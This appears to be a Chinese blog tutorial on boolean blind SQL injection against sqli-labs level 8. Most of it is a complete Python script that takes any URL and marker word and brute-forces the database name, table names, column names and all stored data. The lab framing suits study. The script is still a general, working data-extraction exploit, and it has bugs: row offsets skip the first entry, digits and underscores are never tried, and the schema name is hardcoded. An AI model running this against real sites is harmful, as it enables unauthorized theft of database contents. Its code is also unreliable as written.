写这个脚本的原因是因为布尔爆破步骤的繁琐,因此写下这个半自动化脚本来提升效率,只需输入url和标志词便可开始爆破

下面结合sqli-libs第八关来详细说明:

这一关是布尔盲注,布尔盲注用于页面没有回显的情况下,但是心细的同学会发现当我们注入的sql语句正确的时候页面会显示,当出现错误的时候页面是完全不显示的,这个时候也就是出现了两种不同的情况,我们便可以通过这两种情况去猜数据,因此我们也就需要用爆破来解决问题了,本文通过python脚本的方式来爆破,脚本源码放在文章末尾。当然也可以用sqlmap,burpsuite来爆破都是可以的,但是我们不能仅仅依赖别人写好的脚本,还是得自己研究一下布尔盲注的原理的。

老规矩,第一步先判断数据类型 and 1=1 和 and1=2来判断

 

我们发现都是正常的,于是可以判断是字符型注入了 下一步开始判断闭合方式,输入单引号和双引号

 

最后判断为单引号闭合,具体判断方法参考往期 下一步判断查询列数

 

依旧是3列 下一步,判断回显位

 

反常的很,我们发现数据并没有回显,这个时候我们就要想起来盲注了 我们输个错误的sql语句试一下看看是不是用布尔盲注可以实现

 

我们发现页面完全没有显示了,说明布尔注入可以一试 下一步,我们上脚本来爆破

#布尔盲注脚本

#为了更加方便的进行布尔盲注,而且省略大部分重复且繁琐的步骤,故写下此脚本

#作者:@hengheng

import requests

base_url=input('请输入url地址(输入的时候自己加上闭合方式):')

flag_text=input('请输入可判断的标志词:')

'''

  爆破思路

1.爆破数据库名的长度

2.爆破数据库名

3.爆破该数据库名下的表的个数

4.爆破该数据库下每张表的长度

5.爆破数据库下每张表的名称

6.爆破某张表下的列的个数

7.爆破某张表下的每个字段的长度

8.爆破每张表下的每个字段的名称

9.爆破每个字段下的每条信息

'''

#全局变量

database_length=0

database_name=''

table_counts=0

table_length=0

table_name=''

column_counts=0

column_length=0

column_name=''

information_counts=0

information_length=0

information_name=''

#获取数据库长度

for i in range(1,50):

   payload = f' and length(database())={i} --+'

   new_url=base_url+payload

   if flag_text in requests.get(new_url).text:

       database_length=i

       break

#获取数据库名称

for i in range(1,database_length+1):

   for m in range(65,123):

       payload=f' and substr(database(),{i},1)=%27{chr(m)}%27 --+'

       new_url=base_url+payload

       if flag_text in requests.get(new_url).text:

           database_name=database_name+chr(m)

           break

#获取数据库下的表的数量

for i in range(1,100):

   payload = f' and (select count(table_name) from information_schema.tables where table_schema=%27security%27)= {i} --+'

   new_url=base_url+payload

   if flag_text in requests.get(new_url).text:

       table_counts=i

       break

# 获取所有的表的长度和名称

for i in range(1,table_counts+1):

   table_name=''

   for m in range(1,50):

       payload=f' and length((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1))={m} --+'

       new_url=base_url+payload

       if flag_text in requests.get(new_url).text:

           table_length=m

           break

   for m in range(1,table_length+1):

       for n in range(65,123):

           payload=f' and substr((select table_name from information_schema.tables where table_schema=%27security%27 limit {i},1),{m},1)=%27{chr(n)}%27 --+'

           new_url=base_url+payload

           if flag_text in requests.get(new_url).text:

               table_name=table_name+chr(n)

               break

   print(f'表{i}的名称为:'+table_name.lower())

   #在这里知道表名了,直接获取获取表下面的列的数量,长度,以及名称

   for a in range(1,100):

       payload=f' and (select count(column_name) from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27)={a} --+'

       new_url=base_url+payload

       if flag_text in requests.get(new_url).text:

           column_counts=a

           break

   #获取各个列的长度以及名称

   for b in range(1,column_counts+1):

       column_name=''

       for c in range(1,50):

           payload = f' and length((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1))={c} --+'

           new_url = base_url + payload

           if flag_text in requests.get(new_url).text:

               column_length = c

               break

       #知道了列的长度然后获取名称

       for m in range(1, column_length + 1):

           for n in range(65, 123):

               payload = f' and substr((select column_name from information_schema.columns where table_name=%27{table_name.lower()}%27 and table_schema=%27security%27 limit {b},1),{m},1)=%27{chr(n)}%27 --+'

               new_url = base_url + payload

               if flag_text in requests.get(new_url).text:

                   column_name = column_name + chr(n)

                   break

       #此时知道了当前列名

       print(f'列{b}的名称为:'+column_name.lower())

       # 在这里知道列名了,直接获取获取列下面的数据的数量,长度,以及名称

       for x in range(0, 100):

           payload = f' and (select count({column_name.lower()}) from {table_name.lower()})={x} --+'

           new_url = base_url + payload

           if flag_text in requests.get(new_url).text:

               information_counts = x

               break

       # 获取各个数据的长度以及名称

       for y in range(1, information_counts + 1):

           information_name = ''

           for z in range(1, 50):

               payload = f' and length((select {column_name.lower()} from {table_name.lower()} limit {y},1))={z} --+'

               new_url = base_url + payload

               if flag_text in requests.get(new_url).text:

                   information_length = z

                   break

           # 知道了列的长度然后获取名称

           for j in range(1, information_length + 1):

               for k in range(65, 123):

                   payload = f' and substr((select {column_name.lower()} from {table_name.lower()} limit {y},1),{j},1)=%27{chr(k)}%27 --+'

                   new_url = base_url + payload

                   if flag_text in requests.get(new_url).text:

                       information_name = information_name + chr(k)

                       break

           # 此时知道了当前列名

           print(f'数据{y}的名称为:' + information_name.lower())

print('数据库名称为:   '+database_name)

print('该数据库下表的个数:'+str(table_counts))

最终得到所有数据

 

 

查看原文